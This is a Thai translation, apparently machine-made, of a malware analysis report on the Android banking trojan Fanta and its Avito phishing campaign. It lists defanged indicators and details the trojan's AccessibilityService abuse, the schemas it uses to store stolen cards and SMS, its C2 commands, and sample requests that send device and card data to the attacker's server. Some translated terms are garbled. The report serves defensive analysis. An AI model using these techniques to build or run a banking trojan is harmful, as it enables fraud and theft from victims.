วันหนึ่งคุณต้องการขายของบน Avito และเมื่อโพสต์คำอธิบายโดยละเอียดเกี่ยวกับผลิตภัณฑ์ของคุณ (เช่น โมดูล RAM) คุณจะได้รับข้อความนี้:
เมื่อคุณคลิกปุ่ม "ดำเนินการต่อ" ไฟล์ APK พร้อมไอคอนและชื่อที่น่าเชื่อถือจะถูกดาวน์โหลดลงในอุปกรณ์ Android ของคุณ คุณได้ติดตั้งแอปพลิเคชันที่ร้องขอสิทธิ์ AccessibilityService ด้วยเหตุผลบางประการ จากนั้นมีหน้าต่างสองสามบานปรากฏขึ้นและหายไปอย่างรวดเร็ว และ... แค่นั้นแหละ.
คุณไปตรวจสอบยอดเงินของคุณ แต่ด้วยเหตุผลบางอย่างแอปธนาคารของคุณขอรายละเอียดบัตรของคุณอีกครั้ง หลังจากป้อนข้อมูลแล้ว มีบางอย่างเลวร้ายเกิดขึ้น: ด้วยเหตุผลบางอย่างที่ยังไม่ชัดเจนสำหรับคุณ เงินเริ่มหายไปจากบัญชีของคุณ คุณกำลังพยายามแก้ไขปัญหา แต่โทรศัพท์ของคุณขัดขืน: กดปุ่ม "ย้อนกลับ" และ "หน้าแรก" ไม่ปิดและไม่อนุญาตให้คุณเปิดใช้งานมาตรการรักษาความปลอดภัยใด ๆ เป็นผลให้คุณไม่มีเงิน ยังไม่ได้ซื้อสินค้าของคุณ คุณสับสนและสงสัยว่าเกิดอะไรขึ้น?
คำตอบนั้นง่ายมาก: คุณตกเป็นเหยื่อของ Android Trojan Fanta ซึ่งเป็นสมาชิกของตระกูล Flexnet มันเกิดขึ้นได้อย่างไร? มาอธิบายตอนนี้กันดีกว่า
ผู้เขียน: อันเดรย์ โปโลวินกินผู้เชี่ยวชาญรุ่นเยาว์ในการวิเคราะห์มัลแวร์ อีวาน ปิซาเรฟผู้เชี่ยวชาญด้านการวิเคราะห์มัลแวร์
สถิติ
โทรจัน Android ตระกูล Flexnet เป็นที่รู้จักครั้งแรกในปี 2015 ตลอดระยะเวลาการทำกิจกรรมที่ค่อนข้างยาวนาน ครอบครัวนี้ได้ขยายออกไปหลายประเภทย่อย: แฟนต้า ไลม์บอต ลิปตัน ฯลฯ โทรจันตลอดจนโครงสร้างพื้นฐานที่เกี่ยวข้องนั้นไม่หยุดนิ่ง: มีการพัฒนาแผนการแจกจ่ายที่มีประสิทธิภาพใหม่ - ในกรณีของเรา หน้าฟิชชิ่งคุณภาพสูงมุ่งเป้าไปที่ผู้ขายผู้ใช้เฉพาะ และผู้พัฒนาโทรจันติดตามแนวโน้มที่ทันสมัยใน การเขียนไวรัส - เพิ่มฟังก์ชันใหม่ที่ทำให้สามารถขโมยเงินจากอุปกรณ์ที่ติดไวรัสได้อย่างมีประสิทธิภาพมากขึ้นและกลไกการป้องกันบายพาส
แคมเปญที่อธิบายไว้ในบทความนี้มุ่งเป้าไปที่ผู้ใช้จากรัสเซีย โดยมีการบันทึกอุปกรณ์ที่ติดไวรัสจำนวนเล็กน้อยในยูเครน และน้อยกว่านั้นในคาซัคสถานและเบลารุส
แม้ว่า Flexnet จะอยู่ในวงการ Android Trojan มาเป็นเวลากว่า 4 ปีแล้ว และได้รับการศึกษาอย่างละเอียดโดยนักวิจัยหลายคน แต่ก็ยังอยู่ในสภาพที่ดี เริ่มตั้งแต่เดือนมกราคม 2019 จำนวนความเสียหายที่อาจเกิดขึ้นมีมากกว่า 35 ล้านรูเบิล - และนี่สำหรับแคมเปญในรัสเซียเท่านั้น ในปี 2015 โทรจัน Android เวอร์ชันต่างๆ ถูกขายในฟอรัมใต้ดิน ซึ่งสามารถพบซอร์สโค้ดของโทรจันพร้อมคำอธิบายโดยละเอียดได้ ซึ่งหมายความว่าสถิติความเสียหายในโลกจะยิ่งน่าประทับใจยิ่งขึ้น ไม่ใช่ตัวบ่งชี้ที่ไม่ดีสำหรับคนแก่เช่นนี้ใช่ไหม
จากการขายไปสู่การหลอกลวง
ดังที่เห็นได้จากภาพหน้าจอที่นำเสนอก่อนหน้านี้ของหน้าฟิชชิ่งสำหรับบริการอินเทอร์เน็ตสำหรับการโพสต์โฆษณา Avito นั้นได้เตรียมไว้สำหรับเหยื่อโดยเฉพาะ เห็นได้ชัดว่าผู้โจมตีใช้โปรแกรมแยกวิเคราะห์ของ Avito ซึ่งจะแยกหมายเลขโทรศัพท์และชื่อผู้ขายตลอดจนคำอธิบายผลิตภัณฑ์ หลังจากขยายหน้าและเตรียมไฟล์ APK เหยื่อจะได้รับ SMS พร้อมชื่อของเขาและลิงก์ไปยังหน้าฟิชชิ่งที่มีคำอธิบายผลิตภัณฑ์ของเขาและจำนวนเงินที่ได้รับจาก "การขาย" ของผลิตภัณฑ์ เมื่อคลิกที่ปุ่ม ผู้ใช้จะได้รับไฟล์ APK ที่เป็นอันตราย - Fanta
การศึกษาโดเมน shcet491[.]ru แสดงให้เห็นว่าโดเมนดังกล่าวได้รับการมอบหมายให้กับเซิร์ฟเวอร์ DNS ของ Hostinger:
- ns1.hostinger.ru
- ns2.hostinger.ru
- ns3.hostinger.ru
- ns4.hostinger.ru
ไฟล์โซนโดเมนประกอบด้วยรายการที่ชี้ไปยังที่อยู่ IP 31.220.23[.]236, 31.220.23[.]243 และ 31.220.23[.]235 อย่างไรก็ตาม ระเบียนทรัพยากรหลักของโดเมน (ระเบียน A) ชี้ไปที่เซิร์ฟเวอร์ที่มีที่อยู่ IP 178.132.1[.]240
ที่อยู่ IP 178.132.1[.]240 ตั้งอยู่ในเนเธอร์แลนด์และเป็นของผู้โฮสต์ เวิลด์สตรีม. ที่อยู่ IP 31.220.23[.]235, 31.220.23[.]236 และ 31.220.23[.]243 ตั้งอยู่ในสหราชอาณาจักรและเป็นของเซิร์ฟเวอร์โฮสติ้งที่ใช้ร่วมกัน HOSTINGER ใช้เป็นเครื่องบันทึก openprov-ru. โดเมนต่อไปนี้ยังแก้ไขเป็นที่อยู่ IP 178.132.1[.]240:
- sdelka-ru[.]ru
- tovar-av[.]ru
- av-tovar[.]ru
- ru-sdelka[.]ru
- shcet382[.]ru
- sdelka221[.]ru
- sdelka211[.]ru
- vyplata437[.]ru
- viplata291[.]ru
- perevod273[.]ru
- perevod901[.]ru
ควรสังเกตว่าลิงก์ในรูปแบบต่อไปนี้มีให้ใช้งานจากโดเมนเกือบทั้งหมด:
http://(www.){0,1}<%domain%>/[0-9]{7}
เทมเพลตนี้มีลิงก์จากข้อความ SMS ด้วย จากข้อมูลในอดีต พบว่าโดเมนหนึ่งสอดคล้องกับลิงก์หลายลิงก์ในรูปแบบที่อธิบายไว้ข้างต้น ซึ่งบ่งชี้ว่ามีการใช้โดเมนหนึ่งเพื่อกระจายโทรจันไปยังเหยื่อหลายราย
มาดูกันสักหน่อย: โทรจันที่ดาวน์โหลดผ่านลิงก์จาก SMS จะใช้ที่อยู่เป็นเซิร์ฟเวอร์ควบคุม สโมสร onusedseddohap[.]. โดเมนนี้จดทะเบียนเมื่อวันที่ 2019-03-12 และตั้งแต่วันที่ 2019-04-29 แอปพลิเคชัน APK โต้ตอบกับโดเมนนี้ จากข้อมูลที่ได้รับจาก VirusTotal มีแอปพลิเคชันทั้งหมด 109 รายการที่มีการโต้ตอบกับเซิร์ฟเวอร์นี้ โดเมนได้รับการแก้ไขเป็นที่อยู่ IP 217.23.14[.]27ตั้งอยู่ในเนเธอร์แลนด์และเป็นเจ้าของโดยเจ้าของที่พัก เวิลด์สตรีม. ใช้เป็นเครื่องบันทึก Namecheap. โดเมนได้รับการแก้ไขเป็นที่อยู่ IP นี้ด้วย แบด-แร็กคูน[.]คลับ (เริ่มตั้งแต่ 2018-09-25) และ แบดแร็กคูน[.]สด (เริ่มตั้งแต่ 2018-10-25) พร้อมโดเมน แบด-แร็กคูน[.]คลับ มีการโต้ตอบไฟล์ APK มากกว่า 80 ไฟล์ แบดแร็กคูน[.]สด - มากกว่า 100
โดยทั่วไปการโจมตีจะดำเนินไปดังนี้:
อะไรอยู่ใต้ฝาแฟนต้า?
เช่นเดียวกับโทรจัน Android อื่นๆ Fanta สามารถอ่านและส่งข้อความ SMS ส่งคำขอ USSD และแสดงหน้าต่างของตัวเองที่ด้านบนของแอปพลิเคชัน (รวมถึงหน้าต่างของธนาคาร) อย่างไรก็ตาม คลังแสงฟังก์ชันการทำงานของตระกูลนี้มาถึงแล้ว แฟนต้า เริ่มใช้งาน การเข้าถึงบริการ เพื่อวัตถุประสงค์ต่างๆ: การอ่านเนื้อหาของการแจ้งเตือนจากแอปพลิเคชันอื่น การป้องกันการตรวจจับและการหยุดการทำงานของโทรจันบนอุปกรณ์ที่ติดไวรัส ฯลฯ Fanta ใช้งานได้กับ Android ทุกเวอร์ชันไม่ต่ำกว่า 4.4 ในบทความนี้ เราจะมาดูตัวอย่างแฟนต้าต่อไปนี้ให้ละเอียดยิ่งขึ้น:
- MD5: 0826bd11b2c130c4c8ac137e395ac2d4
- SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
- SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb
ทันทีหลังจากเปิดตัว
ทันทีหลังจากเปิดตัว โทรจันจะซ่อนไอคอนไว้ แอปพลิเคชันสามารถทำงานได้เฉพาะในกรณีที่ชื่ออุปกรณ์ที่ติดไวรัสไม่อยู่ในรายการ:
- android_x86
- VirtualBox
- Nexus 5X(หัวกระทิง)
- Nexus 5 (มีดโกน)
การตรวจสอบนี้ดำเนินการในบริการหลักของโทรจัน - บริการหลัก. เมื่อเปิดตัวเป็นครั้งแรก พารามิเตอร์การกำหนดค่าของแอปพลิเคชันจะถูกเตรียมใช้งานเป็นค่าเริ่มต้น (รูปแบบสำหรับการจัดเก็บข้อมูลการกำหนดค่าและความหมายจะมีการหารือในภายหลัง) และอุปกรณ์ที่ติดไวรัสใหม่จะถูกลงทะเบียนบนเซิร์ฟเวอร์ควบคุม คำขอ HTTP POST พร้อมประเภทข้อความจะถูกส่งไปยังเซิร์ฟเวอร์ register_bot และข้อมูลเกี่ยวกับอุปกรณ์ที่ติดไวรัส (เวอร์ชัน Android, IMEI, หมายเลขโทรศัพท์, ชื่อผู้ให้บริการ และรหัสประเทศที่ผู้ให้บริการลงทะเบียนไว้) ที่อยู่ทำหน้าที่เป็นเซิร์ฟเวอร์ควบคุม hXXp://onuseseddohap[.]club/controller.php. เพื่อเป็นการตอบสนอง เซิร์ฟเวอร์จะส่งข้อความที่มีฟิลด์ต่างๆ bot_id, bot_pwd, เซิร์ฟเวอร์ — แอปพลิเคชันจะบันทึกค่าเหล่านี้เป็นพารามิเตอร์ของเซิร์ฟเวอร์ CnC พารามิเตอร์ เซิร์ฟเวอร์ ทางเลือกหากไม่ได้รับฟิลด์: แฟนต้าใช้ที่อยู่การลงทะเบียน - hXXp://onuseseddohap[.]club/controller.php. ฟังก์ชั่นการเปลี่ยนที่อยู่ CnC สามารถใช้เพื่อแก้ปัญหาสองประการ: เพื่อกระจายโหลดอย่างสม่ำเสมอระหว่างเซิร์ฟเวอร์หลายเครื่อง (หากมีอุปกรณ์ที่ติดไวรัสจำนวนมากโหลดบนเว็บเซิร์ฟเวอร์ที่ไม่ได้รับการปรับให้เหมาะสมอาจสูง) และยังใช้ เซิร์ฟเวอร์สำรองในกรณีที่เซิร์ฟเวอร์ CnC ตัวใดตัวหนึ่งล้มเหลว
หากเกิดข้อผิดพลาดขณะส่งคำขอ โทรจันจะทำซ้ำขั้นตอนการลงทะเบียนหลังจากผ่านไป 20 วินาที
เมื่อลงทะเบียนอุปกรณ์เรียบร้อยแล้ว แฟนต้าจะแสดงข้อความต่อไปนี้แก่ผู้ใช้:
หมายเหตุสำคัญ: บริการที่เรียกว่า ความปลอดภัยของระบบ — ชื่อของบริการโทรจันและหลังจากคลิกปุ่ม ตกลง หน้าต่างจะเปิดขึ้นพร้อมกับการตั้งค่าการเข้าถึงของอุปกรณ์ที่ติดไวรัส โดยที่ผู้ใช้จะต้องให้สิทธิ์การเข้าถึงสำหรับบริการที่เป็นอันตราย:
ทันทีที่ผู้ใช้เปิดเครื่อง การเข้าถึงบริการ, Fanta สามารถเข้าถึงเนื้อหาของหน้าต่างแอปพลิเคชันและการดำเนินการที่เกิดขึ้นในนั้น:
ทันทีหลังจากได้รับสิทธิ์ในการเข้าถึง โทรจันจะร้องขอสิทธิ์ของผู้ดูแลระบบและสิทธิ์ในการอ่านการแจ้งเตือน:
การใช้ AccessibilityService แอปพลิเคชันจะจำลองการกดแป้นพิมพ์ดังนั้นจึงให้สิทธิ์ที่จำเป็นทั้งหมดแก่ตัวเอง
Fanta สร้างอินสแตนซ์ฐานข้อมูลหลายรายการ (ซึ่งจะอธิบายในภายหลัง) ที่จำเป็นในการจัดเก็บข้อมูลการกำหนดค่า รวมถึงข้อมูลที่รวบรวมในกระบวนการเกี่ยวกับอุปกรณ์ที่ติดไวรัส ในการส่งข้อมูลที่รวบรวมไว้ โทรจันจะสร้างงานซ้ำที่ออกแบบมาเพื่อดาวน์โหลดฟิลด์จากฐานข้อมูลและรับคำสั่งจากเซิร์ฟเวอร์ควบคุม ช่วงเวลาในการเข้าถึง CnC ถูกกำหนดไว้ขึ้นอยู่กับเวอร์ชันของ Android: ในกรณีของ 5.1 ช่วงเวลาจะเป็น 10 วินาที หรือ 60 วินาที
เพื่อรับคำสั่ง แฟนต้าจึงร้องขอ รับงาน ไปยังเซิร์ฟเวอร์การจัดการ เพื่อเป็นการตอบสนอง CnC สามารถส่งคำสั่งใดคำสั่งหนึ่งต่อไปนี้:
ทีม | ลักษณะ |
---|---|
0 | ส่งข้อความ SMS |
1 | โทรออกหรือสั่ง USSD |
2 | อัพเดตพารามิเตอร์ ระยะห่าง |
3 | อัพเดตพารามิเตอร์ ตัด |
6 | อัพเดตพารามิเตอร์ smsผู้จัดการ |
9 | เริ่มรวบรวมข้อความ SMS |
11 | รีเซ็ตโทรศัพท์ของคุณเป็นการตั้งค่าจากโรงงาน |
12 | เปิด/ปิดการบันทึกการสร้างกล่องโต้ตอบ |
Fanta ยังรวบรวมการแจ้งเตือนจากแอพธนาคาร 70 แอพ ระบบการชำระเงินที่รวดเร็ว และกระเป๋าเงินอิเล็กทรอนิกส์ และจัดเก็บไว้ในฐานข้อมูล
การจัดเก็บพารามิเตอร์การกำหนดค่า
ในการจัดเก็บพารามิเตอร์การกำหนดค่า Fanta ใช้วิธีการมาตรฐานสำหรับแพลตฟอร์ม Android - การตั้งค่า-ไฟล์ การตั้งค่าจะถูกบันทึกลงในไฟล์ชื่อ การตั้งค่า. คำอธิบายของพารามิเตอร์ที่บันทึกไว้อยู่ในตารางด้านล่าง
ชื่อ | ค่าเริ่มต้น | ค่าที่เป็นไปได้ | ลักษณะ |
---|---|---|---|
id | 0 | จำนวนเต็ม | รหัสบอท |
เซิร์ฟเวอร์ | hXXp://onuseseddohap[.]club/ | URL | ที่อยู่เซิร์ฟเวอร์ควบคุม |
รหัสผ่าน | - | เชือก | รหัสผ่านเซิร์ฟเวอร์ |
ระยะห่าง | 20 | จำนวนเต็ม | ช่วงเวลา. บ่งชี้ว่างานต่อไปนี้ควรถูกเลื่อนออกไปนานเท่าใด:
|
ตัด | ทั้งหมด | ทั้งหมด/telNumber | หากสนามมีค่าเท่ากับสตริง ทั้งหมด หรือ หมายเลขโทรศัพท์จากนั้นข้อความ SMS ที่ได้รับจะถูกดักฟังโดยแอปพลิเคชันและไม่แสดงให้ผู้ใช้เห็น |
smsผู้จัดการ | 0 | 0/1 | เปิด/ปิดการใช้งานแอปพลิเคชันเป็นผู้รับ SMS เริ่มต้น |
อ่านกล่องโต้ตอบ | เท็จ | ถูกผิด | เปิด/ปิดการบันทึกเหตุการณ์ กิจกรรมการเข้าถึง |
แฟนต้าก็ใช้ไฟล์ smsผู้จัดการ:
ชื่อ | ค่าเริ่มต้น | ค่าที่เป็นไปได้ | ลักษณะ |
---|---|---|---|
ชิ้น | - | เชือก | ชื่อของโปรแกรมจัดการข้อความ SMS ที่ใช้ |
การโต้ตอบกับฐานข้อมูล
ในระหว่างการดำเนินการ โทรจันจะใช้ฐานข้อมูลสองฐานข้อมูล ฐานข้อมูลชื่อ a ใช้เพื่อเก็บข้อมูลต่าง ๆ ที่รวบรวมจากโทรศัพท์ ฐานข้อมูลที่สองมีชื่อว่า แฟนต้า.ดีบี และใช้เพื่อบันทึกการตั้งค่าที่รับผิดชอบในการสร้างหน้าต่างฟิชชิ่งที่ออกแบบมาเพื่อรวบรวมข้อมูลเกี่ยวกับบัตรธนาคาร
โทรจันใช้ฐานข้อมูล а เพื่อจัดเก็บข้อมูลที่รวบรวมและบันทึกการกระทำของคุณ ข้อมูลจะถูกเก็บไว้ในตาราง บันทึก. หากต้องการสร้างตาราง ให้ใช้แบบสอบถาม SQL ต่อไปนี้:
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)
ฐานข้อมูลประกอบด้วยข้อมูลต่อไปนี้:
1. บันทึกการเริ่มต้นอุปกรณ์ที่ติดไวรัสด้วยข้อความ โทรศัพท์เปิดอยู่!
2. การแจ้งเตือนจากแอปพลิเคชัน ข้อความถูกสร้างขึ้นตามเทมเพลตต่อไปนี้:
(<%App Name%>)<%Title%>: <%Notification text%>
3. ข้อมูลบัตรธนาคารจากแบบฟอร์มฟิชชิ่งที่สร้างโดยโทรจัน พารามิเตอร์ VIEW_NAME อาจเป็นหนึ่งในสิ่งต่อไปนี้:
- AliExpress
- Avito
- Google Play
- เบ็ดเตล็ด <%ชื่อแอป%>
ข้อความถูกบันทึกในรูปแบบ:
[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>
4. ข้อความ SMS ขาเข้า/ขาออกในรูปแบบ:
([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>
5. ข้อมูลเกี่ยวกับแพ็คเกจที่สร้างกล่องโต้ตอบในรูปแบบ:
(<%Package name%>)<%Package information%>
ตารางตัวอย่าง บันทึก:
ฟังก์ชั่นอย่างหนึ่งของ Fanta คือการรวบรวมข้อมูลเกี่ยวกับบัตรธนาคาร การรวบรวมข้อมูลเกิดขึ้นผ่านการสร้างหน้าต่างฟิชชิ่งเมื่อเปิดแอปพลิเคชันธนาคาร โทรจันสร้างหน้าต่างฟิชชิ่งเพียงครั้งเดียว ข้อมูลที่หน้าต่างแสดงต่อผู้ใช้จะถูกจัดเก็บไว้ในตาราง การตั้งค่า ในฐานข้อมูล แฟนต้า.ดีบี. เมื่อต้องการสร้างฐานข้อมูล ให้ใช้แบบสอบถาม SQL ต่อไปนี้:
create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);
เขตข้อมูลตารางทั้งหมด การตั้งค่า โดยค่าเริ่มต้นเริ่มต้นเป็น 1 (สร้างหน้าต่างฟิชชิ่ง) หลังจากที่ผู้ใช้ป้อนข้อมูลแล้ว ค่าจะถูกตั้งค่าเป็น 0 ตัวอย่างเขตข้อมูลตาราง การตั้งค่า:
- can_login — ฟิลด์มีหน้าที่แสดงแบบฟอร์มเมื่อเปิดแอปพลิเคชันธนาคาร
- first_bank - ไม่ได้ใช้
- can_avito — ฟิลด์มีหน้าที่แสดงแบบฟอร์มเมื่อเปิดแอปพลิเคชัน Avito
- can_ali — ฟิลด์มีหน้าที่รับผิดชอบในการแสดงแบบฟอร์มเมื่อเปิดแอปพลิเคชัน Aliexpress
- สามารถ_อีก — ฟิลด์มีหน้าที่แสดงแบบฟอร์มเมื่อเปิดแอปพลิเคชันใด ๆ จากรายการ: ยูล่า, แพนด้า, Drom Auto, Wallet บัตรส่วนลดและโบนัส, Aviasales, การจอง, Trivago
- can_card — สนามมีหน้าที่แสดงแบบฟอร์มเมื่อเปิด Google Play
การโต้ตอบกับเซิร์ฟเวอร์การจัดการ
การโต้ตอบเครือข่ายกับเซิร์ฟเวอร์การจัดการเกิดขึ้นผ่านโปรโตคอล HTTP ในการทำงานร่วมกับเครือข่าย Fanta ใช้ไลบรารี Retrofit ยอดนิยม คำขอถูกส่งไปยัง: hXXp://onuseseddohap[.]club/controller.php. ที่อยู่เซิร์ฟเวอร์สามารถเปลี่ยนแปลงได้เมื่อลงทะเบียนบนเซิร์ฟเวอร์ คุกกี้อาจถูกส่งเพื่อตอบสนองจากเซิร์ฟเวอร์ แฟนต้าส่งคำขอต่อไปนี้ไปยังเซิร์ฟเวอร์:
- การลงทะเบียนบอทบนเซิร์ฟเวอร์ควบคุมจะเกิดขึ้นครั้งเดียวในการเปิดตัวครั้งแรก ข้อมูลต่อไปนี้เกี่ยวกับอุปกรณ์ที่ติดไวรัสจะถูกส่งไปยังเซิร์ฟเวอร์:
· คุกกี้ — คุกกี้ที่ได้รับจากเซิร์ฟเวอร์ (ค่าเริ่มต้นคือสตริงว่าง)
· โหมด - ค่าคงที่สตริง register_bot
· อุปสรรค - ค่าคงที่จำนวนเต็ม 2
· version_sdk — จัดทำขึ้นตามแม่แบบดังต่อไปนี้: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
· IMEI — IMEI ของอุปกรณ์ที่ติดไวรัส
· ประเทศ — รหัสของประเทศที่ผู้ประกอบการลงทะเบียน ในรูปแบบ ISO
· จำนวน - หมายเลขโทรศัพท์
· ผู้ประกอบการ — ชื่อผู้ดำเนินการตัวอย่างคำขอที่ส่งไปยังเซิร์ฟเวอร์:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 144 Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
เพื่อตอบสนองต่อคำขอ เซิร์ฟเวอร์จะต้องส่งคืนออบเจ็กต์ JSON ที่มีพารามิเตอร์ต่อไปนี้:
· bot_id — ID ของอุปกรณ์ที่ติดไวรัส หาก bot_id เท่ากับ 0 Fanta จะดำเนินการตามคำขออีกครั้ง
bot_pwd — รหัสผ่านสำหรับเซิร์ฟเวอร์
เซิร์ฟเวอร์ — ที่อยู่เซิร์ฟเวอร์ควบคุม พารามิเตอร์ทางเลือก หากไม่ได้ระบุพารามิเตอร์ ที่อยู่ที่บันทึกไว้ในแอปพลิเคชันจะถูกนำมาใช้ตัวอย่างวัตถุ JSON:
{ "response":[ { "bot_id": <%BOT_ID%>, "bot_pwd": <%BOT_PWD%>, "server": <%SERVER%> } ], "status":"ok" }
- ขอรับคำสั่งจากเซิร์ฟเวอร์ ข้อมูลต่อไปนี้จะถูกส่งไปยังเซิร์ฟเวอร์:
· คุกกี้ — คุกกี้ที่ได้รับจากเซิร์ฟเวอร์
· สั่ง — รหัสของอุปกรณ์ที่ติดไวรัสที่ได้รับเมื่อส่งคำขอ register_bot
· รหัสผ่าน —รหัสผ่านสำหรับเซิร์ฟเวอร์
· อุปกรณ์_admin — ฟิลด์นี้จะกำหนดว่าได้รับสิทธิ์ของผู้ดูแลระบบหรือไม่ หากได้รับสิทธิ์ผู้ดูแลระบบแล้ว ฟิลด์จะเท่ากับ 1, มิฉะนั้น 0
· การเข้าถึง — สถานะการดำเนินการบริการการเข้าถึง หากบริการเริ่มต้นขึ้น ค่าจะเป็นดังนี้ 1, มิฉะนั้น 0
· SMSManager — แสดงว่าโทรจันเปิดใช้งานเป็นแอปพลิเคชั่นเริ่มต้นสำหรับรับ SMS หรือไม่
· จอภาพ – แสดงสถานะของหน้าจอ ค่าจะถูกตั้งค่า 1หากหน้าจอเปิดอยู่ มิฉะนั้น 0;ตัวอย่างคำขอที่ส่งไปยังเซิร์ฟเวอร์:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>
เซิร์ฟเวอร์สามารถส่งคืนอ็อบเจ็กต์ JSON ที่มีพารามิเตอร์ต่างกันได้ ทั้งนี้ขึ้นอยู่กับคำสั่ง:
· ทีม ส่งข้อความ SMS: พารามิเตอร์ประกอบด้วยหมายเลขโทรศัพท์ ข้อความ SMS และ ID ของข้อความที่กำลังส่ง ตัวระบุจะใช้เมื่อส่งข้อความไปยังเซิร์ฟเวอร์ที่มีประเภท setSmsStatus.
{ "response": [ { "mode": 0, "sms_number": <%SMS_NUMBER%>, "sms_text": <%SMS_TEXT%>, "sms_id": %SMS_ID% } ], "status":"ok" }
· ทีม โทรออกหรือสั่ง USSD: หมายเลขโทรศัพท์หรือคำสั่งมาในเนื้อหาการตอบกลับ
{ "response": [ { "mode": 1, "command": <%TEL_NUMBER%> } ], "status":"ok" }
· ทีม เปลี่ยนพารามิเตอร์ช่วงเวลา.
{ "response": [ { "mode": 2, "interval": <%SECONDS%> } ], "status":"ok" }
· ทีม เปลี่ยนพารามิเตอร์การสกัดกั้น.
{ "response": [ { "mode": 3, "intercept": "all"/"telNumber"/<%ANY_STRING%> } ], "status":"ok" }
· ทีม เปลี่ยนฟิลด์ SmsManager.
{ "response": [ { "mode": 6, "enable": 0/1 } ], "status":"ok" }
· ทีม รวบรวมข้อความ SMS จากอุปกรณ์ที่ติดไวรัส.
{ "response": [ { "mode": 9 } ], "status":"ok" }
· ทีม รีเซ็ตโทรศัพท์ของคุณเป็นการตั้งค่าจากโรงงาน:
{ "response": [ { "mode": 11 } ], "status":"ok" }
· ทีม เปลี่ยนพารามิเตอร์ ReadDialog.
{ "response": [ { "mode": 12, "enable": 0/1 } ], "status":"ok" }
- ส่งข้อความด้วยประเภท setSmsStatus. คำขอนี้เกิดขึ้นหลังจากดำเนินการคำสั่งแล้ว ส่งข้อความ SMS. คำขอมีลักษณะดังนี้:
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>
- การอัพโหลดเนื้อหาฐานข้อมูล มีการส่งหนึ่งแถวต่อคำขอ ข้อมูลต่อไปนี้จะถูกส่งไปยังเซิร์ฟเวอร์:
· คุกกี้ — คุกกี้ที่ได้รับจากเซิร์ฟเวอร์
· โหมด - ค่าคงที่สตริง setSaveInboxSms
· สั่ง — รหัสของอุปกรณ์ที่ติดไวรัสที่ได้รับเมื่อส่งคำขอ register_bot
· ข้อความ — ข้อความในบันทึกฐานข้อมูลปัจจุบัน (field d จากตาราง บันทึก ในฐานข้อมูล а)
· จำนวน — ชื่อของบันทึกฐานข้อมูลปัจจุบัน (field p จากตาราง บันทึก ในฐานข้อมูล а)
· sms_โหมด — ค่าจำนวนเต็ม (ฟิลด์ m จากตาราง บันทึก ในฐานข้อมูล а)คำขอมีลักษณะดังนี้:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>
หากส่งไปยังเซิร์ฟเวอร์สำเร็จ แถวจะถูกลบออกจากตาราง ตัวอย่างของออบเจ็กต์ JSON ที่ส่งคืนโดยเซิร์ฟเวอร์:
{ "response":[], "status":"ok" }
การโต้ตอบกับบริการการเข้าถึง
AccessibilityService ได้รับการปรับใช้เพื่อทำให้อุปกรณ์ Android ใช้งานได้ง่ายขึ้นสำหรับผู้พิการ ในกรณีส่วนใหญ่ จำเป็นต้องมีการโต้ตอบทางกายภาพเพื่อโต้ตอบกับแอปพลิเคชัน AccessibilityService ช่วยให้คุณดำเนินการได้โดยทางโปรแกรม แฟนต้าใช้บริการเพื่อสร้างหน้าต่างปลอมในแอปพลิเคชันธนาคาร และป้องกันไม่ให้ผู้ใช้เปิดการตั้งค่าระบบและบางแอปพลิเคชัน
การใช้ฟังก์ชันการทำงานของ AccessibilityService โทรจันจะตรวจสอบการเปลี่ยนแปลงองค์ประกอบบนหน้าจอของอุปกรณ์ที่ติดไวรัส ตามที่อธิบายไว้ก่อนหน้านี้ การตั้งค่า Fanta มีพารามิเตอร์ที่รับผิดชอบในการบันทึกการดำเนินการด้วยกล่องโต้ตอบ - อ่านกล่องโต้ตอบ. หากตั้งค่าพารามิเตอร์นี้ ข้อมูลเกี่ยวกับชื่อและคำอธิบายของแพ็คเกจที่ทำให้เกิดเหตุการณ์จะถูกเพิ่มลงในฐานข้อมูล โทรจันจะดำเนินการต่อไปนี้เมื่อมีเหตุการณ์เกิดขึ้น:
- จำลองการกดปุ่มย้อนกลับและปุ่มโฮมในกรณีต่อไปนี้:
· หากผู้ใช้ต้องการรีบูทอุปกรณ์ของเขา
· หากผู้ใช้ต้องการลบแอปพลิเคชัน Avito หรือเปลี่ยนสิทธิ์การเข้าถึง
· หากมีการกล่าวถึงแอปพลิเคชั่น “Avito” ในหน้าเพจ
· เมื่อเปิดแอปพลิเคชัน Google Play Protect
· เมื่อเปิดเพจด้วยการตั้งค่า AccessibilityService
· เมื่อกล่องโต้ตอบความปลอดภัยของระบบปรากฏขึ้น
· เมื่อเปิดหน้าด้วยการตั้งค่า “วาดทับแอพอื่น”
